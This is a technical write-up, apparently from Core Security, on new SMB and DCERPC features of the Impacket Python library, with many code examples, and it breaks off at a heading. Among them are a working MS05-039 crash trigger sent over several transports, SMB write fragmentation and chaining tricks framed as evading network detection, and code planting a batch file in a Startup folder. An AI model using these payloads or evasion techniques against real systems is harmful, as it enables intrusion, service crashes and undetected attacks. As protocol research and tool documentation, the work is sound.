New SMB and DCERPC features in Impacket v0.9.6.0

Gerardo Richarte <gera at coresecurity>
Alberto Soliño <beto at coresecurity>

Introduction

During the past month we spent some time refactoring and adding new features to the *Impacket* library, particularly related to its SMB and DCERPC support. This is a report of what we've done, what new features were implemented, and what other things we think could be done. We will also show some examples on how to use new and old but not so commonly used features of the library, as well as on how to add new features to it.

Some of the new SMB features are: Alternative ways of doing `Tree Connect`, `Open File`, `Transact Named Pipe/Write AndX`, "*SMB fragmentation*" using multiple Write requests, chaining `AndX` commands and NTLMv1 authentication using only hashes ("*Pass the Hash*"[11]). New features for DCERPC include: Multi-bind requests, big endian requests and responses, NTLMv1 authentication, DCERPC fragmentation and DCERPC encryption (even for NULL sessions).

For a more in-depth discussion of SMB and DCERPC refer to [1] and [2].

Brief description of SMB, DCERPC and their relationship to each other

DCERPC is Microsoft's way of doing RPC. You can do DCERPC over the net independent of the transport as it can be encapsulated over many different protocols [3]. Using *Impacket* you can do DCERPC requests on top of four different transports: UDP, TCP, HTTP or SMB Named Pipes. When using UDP you must use DCERPC v4, while DCERPC v5 must be used for all the others.

When using TCP as transport, DCERPC packets are written and read directly from the TCP stream. When using HTTP as transport you first open an "HTTP" connection, issue a `RPC_CONNECT HTTP/1.0` request, and then proceed as if it was a plain TCP connection, pretty much like the `CONNECT` method works for SSL connections through standard HTTP proxies.

For DCERPC over Named Pipes you first need to establish the communication channel, be it locally or over the net, and then write and read from it. Here is where SMB (a.k.a. CIFS) enters the game. You can think of SMB as a protocol to share files over the network and other objects accessible through the file system, like printers, serial ports and, of course, Named Pipes. The common messages for SMB include `OpenFile`, `Read`, `Write` and `Close`. To open a pipe you just need to `OpenFile("\\PIPE\NamedPipeName")` after which you can write and/or read from it like if was a normal file.

Using SMB

There are several ways of using plain SMB with *Impacket*. To start, we will open and read a file doing everything by hand:

```
from impacket import smb
```

```
s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','password')   # Could be ('','') for NULL session
tid = s.tree_connect_andx(r"\\*SMBSERVER\C$")
fid = s.open_file_andx(tid, 'boot.ini', smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
print s.read_andx(tid, fid)
s.close_file(tid, fid)
```

Now we create and write to a file:

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1', sess_port = 445)
s.login('Administrator','password') # Could be ('','') for NULL session
tid = s.tree_connect_andx(r"\\*SMBSERVER\C$")
fid = s.open_file_andx(tid,
       r'Documents and Settings'
       r'\Administrator'
       r'\Start Menu'
       r'\Programs'
       r'\Startup'
       r'\OfficeBar.bat',
         smb.SMB_O_CREAT, smb.SMB_ACCESS_WRITE)[0]
s.write_andx(tid, fid, '@start .')
s.close_file(tid, fid)
```

Although the library is quite far from being optimal, complete, finished, uniform or readable, it offers a handful of convenient functions to simplify common operations. For example, reading from a file:

```
from impacket import smb

def gotData(data):
    # this callback will be called with data from the file: use it
    print data

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('user','password')
s.retr_file('C$','ntldr', gotData)
```

Writing to a file:

```
from impacket import smb

data = 'A'*100000
def moreData(len):
    # this callback will be called to get more data from the source
    global data
    answer = data[:len]
    data   = data[len:]
    return answer

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('user','password')
s.stor_file('C$','fuzz', moreData)
```

These two functions (`retr_file()` and `stor_file()`) will internally choose between using raw or standard transfer mode (`SMB_COM_READ_RAW` or `SMB_COM_READ_ANDX`).

It is also possible to specify the starting file offset and open mode. As usual, see the source code for additional documentation.

Some other higher level functions are also available. For example, to list shares and files:

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('','')
print "Available shares:"
for share in s.list_shared():
    print "%s" % share.get_name()

print "Files in C:\\"
for f in s.list_path('C$'):
    print "%s %d bytes" % (f.get_longname(), f.get_filesize())
```

This particular method of listing available shares may require valid credentials (other than NULL).

You can find more examples of convenient functions in `examples/smbclient.py` and `smb.py` itself. For instance:

```
$ python smbclient.py
# open 192.168.1.1 139
# login guest guest
# shares
IPC$
ADMIN$
C$
# use C$
# ls
PAGEFILE.SYS
WINNT
ntldr
NTDETECT.COM
boot.ini
Documents and Settings
Program Files
CONFIG.SYS
AUTOEXEC.BAT
IO.SYS
MSDOS.SYS
arcldr.exe
arcsetup.exe
odbg
# get boot.ini
# help
 [...]
# exit
```

Using DCERPC

As we mentioned before, DCERPC is the way Windows does remote procedure calls. A remote procedure call involves connecting to the server, choosing which application you want to talk to and then making the appropriate procedure calls.

Applications are identified by an appropriate UUID. An incomplete example of how to do this follows.

```
from impacket.dcerpc import transport, dcerpc
from impacket import uuid

# connect to the remote end
# this is going to use DCERPC/TCP, on port 135
# we'll see different examples of transports latter.

transp = transport.TCPTransport('192.168.1.1', 135)
transp.connect()

# DCERPC over TCP:
dce = dcerpc.DCERPC_v5(transp)

# Choose the application we want to talk with. For this we use bind
dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))

# Call function number 42, pass 1000 As as (marshaled) argument.
# The argument marshaling used in DCERPC (NDR) is not simple.
# you can see [4] for information about it

dce.call(42, "A"*1000)

# get the marshaled answer back. You'll have to unmarshall it
raw_answer = dce.recv()
```

It's missing from the previous example how to encode the parameters for the call (`"A"*1000` in the example). This changes from function to function and, in fact, is not trivial to figure out. Some of the functions exported with DCERPC have well known interfaces documented by Microsoft, some others have been reverse engineered (mostly by either the samba or the ethereal team), and some have unknown interfaces. If you are lucky you can guess the interface from the MSDN documentation for a similar function.

When coding a DCERPC server (and client) you usually use IDL language to specify how the parameters are passed around. In the build process this IDL is compiled into C/C++ and also into what is called a format string [5]. This format string is embedded in the final binary file and contains all the information required to *marshal* and *unmarshal* a function's parameters. There are a few decompilers which can turn this binary format string back into IDL. The first one I knew about was muddle [6], and the last one (and my personal choice) is mIDA [7], a plug-in for IDA released by the Nessus team, which when used together with debugging information from Microsoft (.PDB files) can be quite useful.

For example, this is the output for a specific function from UMPNPMGR.DLL which can be used to exploit the bug described in MS05-039:

```
[
 uuid(8d9f4e40-a03d-11ce-8f69-08003e30051b)
 version(1.0)
]

/* opcode: 0x36, address: 0x767A6E07*/
```

```
long  _PNP_QueryResConfList@32 (
 [in][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][size_is(arg_4)] char * arg_3,
 [in] long arg_4,
 [out][size_is(arg_6)] char * arg_5,
 [in] long arg_6,
 [in] long arg_7
);
```

Interpreting this IDL definition is not straight forward, but reading [4] will help a lot. Here's a different version, translated to python using some of the libraries included in *Impacket*:

```
from impacket.dcerpc import transport, dcerpc_v4
from impacket import uuid

from impacket.structure import Structure

class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

# DCERPC over UDP
transp = transport.UDPTransport('192.168.1.1', 1026) # port may vary
transp.connect()
dce = dcerpc_v4.DCERPC_v4(transp)

dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce.call(0x36, query)
```

The previous code is an adapted excerpt from the exploit for the vulnerability described in MS05-039 included in CORE IMPACT. Note how the IDL definition was transformed into bytes using the *Structure* library.

As with SMB there are a few classes to help use some standard services. You can find them in `impacket/dcerpc`:

- `winreg.py` – remotely manipulate the registry
- `svcctl.py` – manage services remotely
- `srvsvc.py` – access the SAM database (user and domain information) remotely
- `printer.py` – deal with networked printers
- `epm.py` – use the endpoint port mapper (list available DCERPC services)

From this list, `printer.py` is the only library using *Structure*. All the remaining ones use an older method for building DCERPC packets, directly accessing the bytes in the packet. *Structure* is the best approach if you are thinking about implementing (or completing) some DCERPC interface, and `printer.py` is a good example to base your development on.

The next example uses `epm.py` to list some of the available DCERPC endpoints in the target box:

```
from impacket.dcerpc import transport, dcerpc, epm
from impacket import uuid

trans = transport.SMBTransport('192.168.1.1', 139, 'epmapper')
# trans.set_credentials('Administrator','password')
print trans.connect()

dce = dcerpc.DCERPC_v5(trans)
dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))

pm = epm.DCERPCEpm(dce)
handle = '\x00'*20
while 1:
	dump = pm.portmap_dump(handle)
	if not dump.get_entries_num():
		break
	handle = dump.get_handle()
	entry = dump.get_entry().get_entry()
	print '%s %2.2f %s (%s)' % (
		uuid.bin_to_string(entry.get_uuid()),
		entry.get_version(),
		entry.get_string_binding(),
		entry.get_annotation())
```

Running this code might generate output similar to the following:

```
5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC 1.00 ncadg_ip_udp:192.168.32.132[1029]
(Messenger Service)
1FF70682-0A51-30E8-076D-740BE8CEE98B 1.00 ncalrpc:[LRPC0000024c.00000001] ()
1FF70682-0A51-30E8-076D-740BE8CEE98B 1.00 ncacn_ip_tcp:192.168.32.132[1025] ()
378E52B0-C0A9-11CF-822D-00AA0051E40F 1.00 ncalrpc:[LRPC0000024c.00000001] ()
378E52B0-C0A9-11CF-822D-00AA0051E40F 1.00 ncacn_ip_tcp:192.168.32.132[1025] ()
5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC 1.00 ncalrpc:[ntsvcs] (Messenger Service)
5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC 1.00 ncacn_np:\\2KP4-IE6-
SU41[\PIPE\ntsvcs] (Messenger Service)
5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC 1.00 ncacn_np:\\2KP4-IE6-
SU41[\PIPE\scerpc] (Messenger Service)
5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC 1.00 ncalrpc:[DNSResolver] (Messenger
Service)
```

Using DCERPC over any (supported) transport

Looking at the endpoints listed by the previous example (endpoint mapper) you can see there are different “string bindings” [3]. These bindings specify which transports can be used with each specific interface. A few of these different transports are currently supported by *Impacket*:

- `ncadg_ip_udp` – DCERPC over UDP
- `ncacn_ip_tcp` – DCERPC over pure TCP

- `ncacn_http` – DCERPC over HTTP
- `ncacn_np` – DCERPC over Named Pipe (using SMB over TCP)

You can either use the specific transport classes (`UDPTransport`, `TCPTransport`, `HTTPTransport`, `SMBTransport`) like the previous examples did, or you can use a transport factory. `transport.DCERPCTransportFactory()` takes a string binding as an argument and returns an instantiated transport, which uses the correct class for the selected method. For each of the listed protocols there is a particular way of building the string binding:

```
       "ncadg_up_udp:%(host)s"
       "ncadg_up_udp:%(host)s[%(port)d]"
       "ncacn_ip_tcp:%(host)s"
       "ncacn_ip_tcp:%(host)s[%(port)d]"
       "ncacn_http:%(host)s[%(port)d]"
       "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
```

So, suppose you want to do DCERPC over SMB on TCP port 445 (could be 139), on a pipe named “browser” at 192.168.1.1:

```
from impacket.dcerpc import transport
from impacket import uuid
from impacket.structure import Structure

class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

stringbinding  = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
    'host': '192.168.1.1',
    'pipe': 'browser',
    'port': 445,           # this is not used for this bindingstring
}

print "Using stringbinding: %r" % stringbinding

# default port for SMB is 445
trans = transport.DCERPCTransportFactory(stringbinding)
print trans.connect()

dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

# get PNP_QueryResConfList from other example
query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce.call(0x36, query)
```

As you can see, string bindings are a simple way of choosing the desired protocol. The DCERPC version (v4 or v5) must be selected in accordance to the chosen transport, we solve this using `trans.DCERPC_`class.

In the previous example, if you want to change the SMB port from 445 to 139, and you want to add credentials, you just need to do the following change:

```
# change port to 139
trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_dport(139)
trans.set_credentials('Administrator','password')
print trans.connect()
```

Most of the functionality covered so far (except for *Structure* probably) has been part of *Impacket* since the first release in 2003. The next two sections will show some of the more advanced features we've just added to the library.

Using special features of SMB

Multiple ways of doing just the same

For many of the SMB commands there are other different commands which are equivalent, or that can be made to do the same thing in some specific cases. This increases the variability of the generated traffic during a given session and, for example, could make it tougher for network based detection to identify an attack.

Here we will show some examples of equivalent SMB commands, some of which are currently implemented in *Impacket* and some others which could be implemented in the future. On the same line, we will also show an example implementation of an SMB command you can use as a guide to implement all those commands you will send us to be included in the next version :-)

Tree Connect

In the first part, when we were issuing SMB commands manually, one of the first things we did was `tree_connect_andx()`. If you check the implementation for the method in `smb.py` you'll see that it sends an `SMB_COM_TREE_CONNECT_ANDX` command. This is needed to tell the other end what share we want to use, including the administrative (`ADMIN$`, `C$`, etc) and inter-process communication (`IPC$`) "shares".

There are (at least) two different commands to connect to a tree: `SMB_COM_TREE_CONNECT` and `SMB_COM_TREE_CONNECT_ANDX`. Except for a few differences, they are interchangeable. These two commands are already implemented in *Impacket*, you can find them in `smb.py` (`SMB.tree_connect_andx()` and `SMB.tree_connect()`). For most uses (opening files or pipes to use with DCERPC for example) you can choose any of the two options:

```
from impacket import smb

OPTION_TREE_CONNECT = 0

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('user','password')             # Could be ('','') for NULL session

if OPTION_TREE_CONNECT:
       tid = s.tree_connect_andx(r"\\*SMBSERVER\C$")
else:
       tid = s.tree_connect(r"\\*SMBSERVER\C$")

fid = s.open_file_andx(tid, 'boot.ini', smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
print s.read_andx(tid, fid)
```

Both commands have been implemented using *Structure*, and although the response is not fully parsed, they are good examples of how to implement new SMB commands.

Opening files or pipes

To open files or pipes there are several options. In the first examples we used `open_andx()`, which translates to `SMB_COM_OPEN_ANDX`. Other implemented and tested options are `NT_CREATE_ANDX` (the most common) and `SMB_COM_OPEN`, available as `nt_create_andx()` and `open()`. Be careful when using these alternatives, as each one returns different values and may take different arguments. In the next piece of code you can see an example of how to use the three of them interchangeably. Don't be confused by the name, `NT_CREATE_ANDX` can be used to either create new files or open existing ones. Pay attention to how the File ID is taken from the return value of the functions, as `open()` and `open_andx()` return more information than just the file descriptor.

```
from impacket import smb

OPTION_TREE_CONNECT = 1
OPTION_OPEN_FILE    = 1

share = r'\\*SMBSERVER\C$'
fName = 'boot.ini'

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','password')

if OPTION_TREE_CONNECT: tid = s.tree_connect_andx(share)
else:                   tid = s.tree_connect(share)

if   OPTION_OPEN_FILE == 0: fid = s.nt_create_andx(tid, fName)
elif OPTION_OPEN_FILE == 1: fid = s.open_file_andx(tid, fName,
                              smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
elif OPTION_OPEN_FILE == 2: fid = s.open_file(tid, fName,
                              smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]

print s.read_andx(tid, fid)
```

There is another subtle difference in how they must be used to open Named Pipes: For `nt_create_andx()` you need to pass, for example, `'\pipename'`. When using `open()` or `open_andx()` you have to prefix the pipe name with `'\\pipe'`, as in `'\\pipe\pipename'`.

Some similar SMB commands (not yet implemented in *Impacket*):

- `SMB_COM_CREATE`
- `SMB_COM_CREATE_NEW`
- `SMB_COM_NT_TRANSACT(NT_TRANSACT_CREATE)`
- `SMB_COM_TRANSACTION2(TRANS2_OPEN2)`

These commands are all supposed to do just the same, except for maybe extra arguments and returned values.

Let's use `open()` as an example to see how SMB commands are implemented, so you have it as base for your new commands:

```
    def open(self, tid, filename, open_mode, desired_access):
        smb = NewSMBPacket()
        smb['Flags']  = 8
        smb['Flags2'] = SMB.FLAGS2_LONG_FILENAME
        smb['Tid']    = tid

        openFile = SMBCommand(SMB.SMB_COM_OPEN)
        openFile['Parameters'] = SMBOpen_Parameters()
        openFile['Parameters']['DesiredAccess']    = desired_access
        openFile['Parameters']['OpenMode']         = open_mode
        openFile['Parameters']['SearchAttributes'] = ATTR_ARCHIVE
        openFile['Data']       = SMBOpen_Data()
        openFile['Data']['FileName'] = filename

        smb.addCommand(openFile)

        self.sendSMB(smb)

        smb = self.recvSMB()
        if smb.isValidAnswer(SMB.SMB_COM_OPEN):
            # Here we are ignoring the rest of the response
            openFileResponse   = SMBCommand(smb['Data'][0])
            openFileParameters = SMBOpenResponse_Parameters(
                openFileResponse['Parameters'])

            return (
                openFileParameters['Fid'],
                openFileParameters['FileAttributes'],
                openFileParameters['LastWriten'],
                openFileParameters['FileSize'],
                openFileParameters['GrantedAccess'],
            )
```

Here a `NewSMBPacket` (which will become `SMBPacket` after we kill the old `SMBPacket`) is created, then an `SMBCommand` and its parameters and data are set. For each command you need to create the relevant *Structure* instances. For this example we have:

```
class SMBOpen_Parameters(SMBCommand_Parameters):
    structure = (
        ('DesiredAccess','<H=0'),
        ('SearchAttributes','<H=0'),
    )

class SMBOpen_Data(Structure):
    structure = (
```

```
        ('FileNameFormat','"\x04'),
        ('FileName','z'),
    )
```

Then we add the just created command to the `NewSMBPacket` and send it. For decoding the answer we also have a new *Structure* subclass defined:

```
class SMBOpenResponse_Parameters(SMBCommand_Parameters):
    structure = (
        ('Fid','<H=0'),
        ('FileAttributes','<H=0'),
        ('LastWriten','<L=0'),
        ('FileSize','<L=0'),
        ('GrantedAccess','<H=0'),
    )
```

After this we wait for the answer with `recvSMB()` and create an `SMBOpenResponse_Parameters` to decode the fields. In this example the answer does not contain a 'Data' portion, so we don't need to decode it. If the command you want to implement does have a 'Data' portion, take a look at how `read()` is implemented in `smb.py`. As an aid to help you understand this you can use Ethereal to compare the network traces with the *Structure* classes just defined.

Reading from a file or pipe

We have implemented three different commands that can be used to read from a file: `SMB_COM_READ`, `SMB_COM_READ_ANDX` and `SMB_COM_READ_RAW`, and a fourth one that can be used to read and write from/to a Named Pipe (`SMB_COM_TRANSACTION`, subcommand `TransactNamedPipe`). Although we tried to use the latter to access files, we couldn’t do it. However, it may be possible with the right information.

Here’s an example on how to use `read()`, `read_andx()` and `read_raw()` interchangeably to read from files. In a later section we’ll discuss how to use the fourth method.

```
from impacket import smb

OPTION_TREE_CONNECT = 1
OPTION_OPEN_FILE    = 1
OPTION_READ         = 2

share = r'\\*SMBSERVER\C$'
fName = 'boot.ini'

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','password')

if OPTION_TREE_CONNECT == 0: tid = s.tree_connect_andx(share)
else:                        tid = s.tree_connect(share)

if   OPTION_OPEN_FILE == 0:  fid = s.nt_create_andx(tid, fName)
elif OPTION_OPEN_FILE == 1:  fid = s.open_file_andx(tid, fName,
                             smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
elif OPTION_OPEN_FILE == 2:  fid = s.open_file(tid, fName,
                             smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
```

```
if   OPTION_READ == 0:       data = s.read(tid, fid)
elif OPTION_READ == 1:       data = s.read_andx(tid, fid)
elif OPTION_READ == 2:       data = s.read_raw(tid, fid)

print data
```

Other options that are not implemented are:

- `SMB_COM_LOCK_AND_READ`
- `SMB_COM_READ_MPX`
- `SMB_COM_READ_MPX_SECONDARY`
- `SMB_COM_READ_BULK`
- `SMB_COM_TRANSACTION(PeekNamedPipe)`
- `SMB_COM_TRANSACTION(RawReadNamedPipe)`

Please feel free to contribute changes, these should not be too complicated to implement. Take a look at how other commands, like `SMB_COM_READ_ANDX` or `SMB_COM_READ`, are implemented in `smb.py`.

Writing to a file or pipe

The currently implemented SMB commands for writing files are three: `SMB_COM_WRITE`, `SMB_COM_WRITE_ANDX` and `SMB_COM_WRITE_RAW`. These are implemented as `smb.write()`, `smb.write_andx()` and `smb.write_raw()` respectively. The three methods have the same parameters. For instance:

```
s.write(tid, fid, 'data')
```

Other potentially equivalent SMB commands which are not yet implemented are:

- `SMB_WRITE_AND_UNLOCK`
- `SMB_WRITE_MPX`
- `SMB_WRITE_MPX_SECONDARY`
- `SMB_WRITE_COMPLETE`
- `SMB_WRITE_AND_CLOSE`
- `SMB_COM_WRITE_BULK`
- `SMB_COM_WRITE_BULK_DATA`
- `SMB_COM_TRANSACTION(RawWriteNamedPipe)`

As with the read commands, it is possible to use the `SMB_COM_TRANSACTION` subcommand (`TransactNamedPipe`) to write to a Named Pipe. We will talk about this next.

The next example is a client that connects to an echo server over a named pipe. The server first sends a “Hello” banner, and exits when reading “quit” from the client. You can find the code for this server in `examples/win_echod.py`

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1)
s.login('Administrator','password')

tid = s.tree_connect(r'\\*SMBSERVER\IPC$')

fid = s.nt_create_andx(tid, '\echo')
```

```
print s.read(tid, fid)
write(tid, fid, 'Hola!')
print s.read(tid, fid)
write(tid, fid, 'quit')
```

Doing transactions on a pipe

Transactions are atomic Read + Write operations. We originally thought you could use `TransactNamedPipe()` requests on files, but we couldn't do it. We also thought of using it to simply read or write from a pipe, however, if you do so you have to be aware of certain details. We'll try to explain them with the following examples. The first example is a very simple Named Pipe client for the same echo server used in the previous example.

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1)
s.login('Administrator','password')

tid = s.tree_connect(r'\\*SMBSERVER\IPC$')

fid = s.nt_create_andx(tid, '\echo')

print s.read(tid, fid)
print s.TransactNamedPipe(tid, fid, 'Hola!')
print s.TransactNamedPipe(tid, fid, 'quit')
```

Now suppose you want to use `TransactNamedPipe()` to read the banner from the server:

```
from impacket import smb

s = smb.SMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','password')

tid = s.tree_connect(r'\\*SMBSERVER\IPC$')

fid = s.nt_create_andx(tid, '\echo')

print s.TransactNamedPipe(tid, fid)     # we want to read banner

# impacket.smb.SessionError: SessionError: SMB Library Error,
# class: ERRDOS, code: ERRpipebusy(All instances of the requested pipe are
busy)
```

In this case, we'd expect `TransactNamedPipe()` to write zero bytes, and then read back what's waiting on the server's outgoing buffer. However, when we do the request it comes back with an error saying that "All instances of the requested pipe are busy", which we have to interpret, apparently, as "There is data for you to read in the outgoing buffer, read it before doing a new transaction".

In a similar fashion, if you wanted to just write to a pipe using `TransactNamedPipe` you could specify the flag "`noAnswer = 1`" as a parameter, but this will also have some strange results. Rather than continue showing additional examples we invite you to open

Ethereal and experiment combining `read()`, `write()` and `TransactNamedPipe()` and see how you could take advantage of them.

Fragmentation

When using SMB as a transport for DCERPC, you can think of the named pipe as a stream. It doesn't really matter if you send a DCERPC request complete in a single `SMB_COM_WRITE` (for example) or if you send each byte of the DCERPC request in a different `SMB_COM_WRITE` (or even if you use different types of writes).

The `DCERPCTransport` class has a `set_max_fragment_size()` method to control fragmentation at the transport level. For `TCPTransport` and `HTTPTransport` a maximum fragment size will force each `send()` to send TCP packets with data no larger than the specified number of bytes. For an `UDPTransport set_max_fragment_size()` doesn't do anything.

When using `SMBTransport`, the behavior is slightly more complicated. If the `max_fragment_size` is set to `-1` (default), all data is sent with a single `SMB_COM_TRANSACT(TransactNamedPipe)`. If the `max_fragment_size` is set to any other value, data is sent using `write_andx()`, with each write sending at most the specified number of bytes.

In the next example we will send the same offending request we used in the crash for MS05-039 but we will set `max_fragment_size` to `1`. We will also play a little python trick to force it to mix `write()`, `write_andx()` and `write_raw()`:

```
from impacket.dcerpc import transport, dcerpc
from impacket import uuid

from impacket.structure import Structure

class PNP_QueryResConfList(Structure):
    alignment = 4
    structure = (
       ('treeRoot',    'w'),
       ('resourceType','<L=0xffff'),
       ('resourceLen1','<L-resource'),
       ('resource',    ':'),
       ('resourceLen2','<L-resource'),
       ('unknown_1',   '<L=4'),
       ('unknown_2',   '<L=0'),
       ('unknown_3',   '<L=0'),
    )

transp = transport.SMBTransport('192.168.1.1', 139, 'browser')
transp.connect()
dce = dcerpc.DCERPC_v5(transp)

WRITE_TYPE = 0

s = transp.get_smb_server()
writes = (s.write, s.write_andx, s.write_raw)

def cycling_write(*args, **kargs):
    global WRITE_TYPE
```

```
    global writes
    w = writes[WRITE_TYPE % len(writes)]
    WRITE_TYPE += 1
    return w(*args, **kargs)


# set transport fragmentation to 1
transp.set_max_fragment_size(1)

# replace write_andx for our cycling write
s.original_write_andx = s.write_andx
s.write_andx = cycling_write

dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))

query = PNP_QueryResConfList()
query['treeRoot'] = "ROOT\\ROOT\\ROOT\x00".encode('utf_16_le')
query['resource'] = '\x00'*8+'\x00\x01\x00\x00'+'A'*256

dce.call(0x36, query)
```

This example will generate around 15,000 packets so expect some delay.

As explained before, when we tried to use `TransactNamedPipe` together with these three writes, we've found different problems we could not overcome. Of course, this doesn't mean it is impossible, only that we just chose to move forward.

The truth is that this is not really fragmentation in the usual sense; it's just using several smaller writes instead of a bigger one. But the community has been calling it fragmentation, so we will do the same.

Out of order and overlapping "Fragmentation"

As there is an offset field in each write request, we asked ourselves the obvious question: What happens if we send the requests in the right order, but we play with the offset parameter? You can test this behavior by adding this line to `cycling_write()` above:

```
    WRITE_TYPE += 1
+   kargs['offset'] = 8000 - kargs['offset']
    return w(*args, **kargs)
```

You'll see that what happens is quite amusing: nothing, everything works as if you had not changed anything. So… what do you think will happen if you randomize the offset? Right, nothing again, and since the offset doesn't make any difference (for pipes at least) overlapping segments are treated by the server as if they didn't overlap. Of course, the offset does make a difference when using standard files.

Chaining SMB commands (batched requests)

As described by CIFS' documentation, some commands have a "chainable" version, this are all the commands ending in `ANDX`. For example, you could chain `SMB_COM_TREE_CONNECT_ANDX` + `SMB_COM_OPEN_ANDX` + `SMB_COM_READ` in a single SMB request. There is no programmatic way to do this using *Impacket*, so here we show an

example of how to do it manually. The next code is an extract of what you can find in `examples/chain.py`.

```
from impacket import smb

pkt = smb.NewSMBPacket()

openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX)
openFile['Parameters'] = smb.SMBOpenAndX_Parameters()
openFile['Parameters']['DesiredAccess']    = smb.SMB_ACCESS_READ
openFile['Parameters']['OpenMode']         = smb.SMB_O_OPEN
openFile['Parameters']['SearchAttributes'] = 0
openFile['Data']       = smb.SMBOpenAndX_Data()
openFile['Data']['FileName'] = filename

readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX)
readAndX['Parameters'] = smb.SMBReadAndX_Parameters()
readAndX['Parameters']['Offset'] = 0
readAndX['Parameters']['Fid'] = 0
readAndX['Parameters']['MaxCount'] = 4000

pkt.addCommand(sessionSetup)
pkt.addCommand(openFile)
pkt.addCommand(readAndX)
pkt.addCommand(treeConnect)
```

Here you can see how to build a new `SMBCommand`, and how to add it to an `SMBPacket`. We tried different combinations, and were only successful in chaining some of them. We know that for each `ANDX` command there is a list of possible next commands (see `SMBCommands.dot` or `SMBCommands.png`), but even if we pay attention to this, there are some things we could not chain. We wish you good luck with this, and please, let us know what you find!

Out of order chaining

As every `ANDX` command has the offset in the packet to the following command, the physical order doesn't necessary have to match the logical order, so we can build strangely arranged packets, however, the first command in the chain must be the first command in the packet. This will require even more manual tweaking than the previous example. Take a look at how we turned `examples/chain.py` into `examples/oochain.py`:

```
pkt.addCommand(sessionSetup)
pkt.addCommand(openFile)
pkt.addCommand(readAndX)
pkt.addCommand(treeConnect)

treeConnect['Parameters']['AndXCommand'] = sessionSetup['Parameters']['AndXCommand']
treeConnect['Parameters']['AndXOffset'] = sessionSetup['Parameters']['AndXOffset']

sessionSetup['Parameters']['AndXCommand'] = readAndX['Parameters']['AndXCommand']
sessionSetup['Parameters']['AndXOffset'] = readAndX['Parameters']['AndXOffset']

readAndX['Parameters']['AndXCommand'] = 0xff
readAndX['Parameters']['AndXOffset'] = 0
self.sendSMB(pkt)
```

You may want to take a look at how ethereal “decodes” the generated packets :-)

Chaining with random data in-between commands

As we said in the previous section, each ANDX command has the offset in the packet of the following command, so the commands don't necessary have to be contiguous, so we can put random data in between the commands. Modifying again `example/chain.py` to obtain `example/crapchain.py` we have:

```
readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX)
readAndX['Parameters'] = smb.SMBReadAndX_Parameters()
readAndX['Parameters']['Offset'] = 0
readAndX['Parameters']['Fid'] = 0
readAndX['Parameters']['MaxCount'] = 4000

crap = smb.SMBCommand(0)
crap['Parameters'] = smb.SMBAndXCommand_Parameters()
crap['Data'] = 'A'*3000

pkt.addCommand(sessionSetup)
pkt.addCommand(crap)
pkt.addCommand(treeConnect)
pkt.addCommand(openFile)
pkt.addCommand(readAndX)

sessionSetup['Parameters']['AndXCommand'] = crap['Parameters']['AndXCommand']
sessionSetup['Parameters']['AndXOffset']  = crap['Parameters']['AndXOffset']
```

Apparently, Windows' SMB implementation (at least), doesn't care if there is more data than needed in a command, and also doesn't care if an SMB command is embedded in the data of another SMB command. To test this we added the next two lines to `examples/crapchain.py` just before sending the packet:

```
       sessionSetup['ByteCount'] = 1000
       treeConnect['ByteCount']  = 100
```

Again, take a look at how the network traffic looks in Ethereal.

Infinite chains (loops)

